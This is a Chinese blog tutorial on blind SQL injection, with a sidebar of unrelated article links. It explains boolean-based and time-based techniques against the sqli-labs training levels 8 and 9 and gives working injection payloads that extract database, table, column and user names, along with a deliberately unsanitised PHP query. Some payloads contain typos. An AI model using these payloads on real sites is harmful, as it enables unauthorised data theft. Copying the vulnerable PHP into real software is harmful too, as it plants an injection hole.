当前位置:网站首页>sql注入之盲注(纯原创)
sql注入之盲注(纯原创)
2022-08-03 14:51:00 【一青一柠】
sql盲注
目录
绪论
在SQL注入过程中,SQL语句执行后,选择的数据不能回显到前端页面,此时需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
在盲注中,攻击者根据其返回页面的不同来判断信息(可能是页面内容的不同,也可以是响应时间不同)。
一般情况下,盲注可分为两类:
基于布尔的盲注(Boolean based)
基于时间的盲注(Time based)
SQL注入时为什么有时候没有回显,结合php说说?
设置了php.ini 为display_errors设置为off。同时设置error_reporting为E_ALL因此没有错误回显。
与盲注相关的函数:
left()
功能:截取具有指定长度的字符串的左边部分。
语法格式: left(str,length),如果str或length参数为NULL,则返回NULL值。
参数说明:
str:要提取子串的字符串。
length:正整数,指定将从左边返回的字符数。length为0或为负,则LEFT返回一个空字符串,length大于str字符串的长度,则left()返回整个str字符串。
substr().substring()
功能:从指定的位置开始,截取字符串指定长度的子串。
语法格式: substr(str,pos)或substr(str,pos,len),substring(str,pos)或substring(str,pos,len)
参数说明
str:要提取子串的字符串。pos:提取子串的开始位置。len:指定要提取的子串的长度。
cast() , convert()
功能:获取一个类型的值,并产生另一个类型的值。〉
语法格式: cast(value as type), convert(value,type)
可转换的值类型:
二进制,同带binary前缀的效果∶BINARY字符型,可带参数:CHAR()
日期:DATE
时间:TIME
日期时间型:DATETIME
浮点数:DECIMAL
整数:SIGNED
无符号整数:UNSIGNED
延时函数benchmark()
功能:让某语句执行一定的次数,执行成功后返回0。
语法格式: benchmark(count,expr),即让expr执行count次。
>注:仅MySQL支持该函数。
ASCII转换
ascii().ord()
功能:返回字符串最左边字符的ASCII码值。
语法格式: ascii(str),ord(str)
实例-sqllab的第八关 (基于布尔盲注):
判断注入点类型
?id=8' and '1'='1
判断数据库长度
?id=8' and length(database())=8 --+
猜解数据库名
?id=1' and (select substr(database(),1,1))='s' --+
猜解该数据库表名
?id=1' and (select substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=e'--+
猜解表的字段名
?id=1' and (select substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit0,1),1,1))='i' --+
猜解字段值
?id=1" and (select substr((select username from security.users limit0,1),1,1])='d' --+
实例-sqllab的第九关(基于时间盲注):
- 判断数据库长度
?id=1' and if((length(database())=8),sleep(5),1) --+
- 猜解数据库名
?id=1' and if((substr((select database()),1,1)='s'),sleep(5),1)--+
- 猜解该数据库表名
?id=1' and if((substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e'),sleep(5),1) --+
- 猜解表的字段名
id=1' and if((substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit0,1),1,1)=T'),sleep(5),1)--+
- 猜解字段值
?id=1" and if(substr((select username from security.users limit0.1),1.1)='d').sleep(5).1)--+
补充:
regexp 正则注入
用法介绍:select user() regexp '^[a-z]';
Explain:正则表达式的用法,user()结果为 root,regexp 为匹配 root 的正则表达式。
第二位可以用 select user() regexp '^ro'来进行
注意:当正确的时候显示结果为 1,不正确的时候显示结果为 0
一个实例:
select * from users where id=1 and 1=(select 1 from information_schema.tables
where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);
这里利用 select 构造了一个判断语句。我们只需要更换 regexp 表达式即可
'^u[a-z]' -> '^us[a-z]' -> '^use[a-z]' -> '^user[a-z]' -> FALS
就是上面这样,一步一步通过布尔盲注爆出各种信息。
ps:
like 整个字段匹配表达式成功才返回
regexp 部分字符匹配表达式成功即可返回
盲注代码层面
直接上代码:
if(isset($_GET['submit']) && $_GET['name']!=null){
$name=$_GET['name'];//这里没有做任何处理,直接拼到select里面去了
$query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合
//mysqi_query不打印错误描述,即使存在注入,也不好判断
$result=mysqli_query($link, $query);//
// $result=execute($link, $query);
if($result && mysqli_num_rows($result)==1){
while($data=mysqli_fetch_assoc($result)){
$id=$data['id'];
$email=$data['email'];
$html.="<p class='notice'>your uid:{
$id} <br />your email is: {
$email}</p>";
}
}else{
$html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
}
}
这里区别于前面的是,这里用的是query(),而之前用的execute()。
query()这个函数执行错误不会报出对错误的描述,而execute()这个就可以,之前一直靠的错误回显来窃取关键信息的。
' or ascii(substr(database(),1,1))= 112 limit 0,1 #
若有查询结果,就证明后面这东西是对的。这里后面是数据库名字的第一个字符的ascii码值。
这里之所以用limit限制,是因为源码要求查询结果只能有一条。
像这种盲注适合用工具来跑。比如sqlmap。
边栏推荐
- 162_Power Query 快速合并文件夹中表格之自定义函数 TableXlsxCsv_2.0
- Huffman树
- 【常见 error】Vivado 综合出现中断、失败、“PID not specified”
- LeetCode15:三数之和
- 网络通信的过程
- How to connect a VMware virtual machine to the network "recommended collection"
- liunx服务器遇到SYN_SENT洪水攻击
- MySQL性能优化的'4工具+10技巧'
- liunx服务器nohup不输出日志文件的方法
- leetcode 448. Find All Numbers Disappeared in an Array 找到所有数组中消失的数字(简单)
猜你喜欢
随机推荐
C语言中操作符的详细介绍
Lecture 2 Software Life Cycle
利用华为云ECS服务器搭建安防视频监控平台【华为云至简致远】
基于matlab的遥测信道的基本特性仿真分析
UE4 C disk cache solution
【R语言科研绘图】--- 柱状图
HDU 1160 FatMouse's Speed(最长递减子序列变形)
devops-2:Jenkins的使用及Pipeline语法讲解
连亏四个月,赚不回电费,预制菜经销商恐成“韭菜”?
输出1!+2!+3!+......+n!
R7 6800H+RTX3050+120Hz 2.8K OLED屏,无畏Pro15 2022开启预售
彻底搞懂云桌面配置及实践踩坑【华为云至简致远】
PAT乙级-B1010 一元多项式求导(25)
在北极都可以穿短袖了,温度飙升至32.5℃
【MATLAB项目实战】基于CNN_SVM的图像花卉识别
Leetcode 448. Find All Numbers Disappeared in an Array to Find All Disappeared in an Array of Numbers (simple)
你把 vite打包 玩明白
内心的需求
不安装运行时运行.NET程序
简单理解try catch和try finally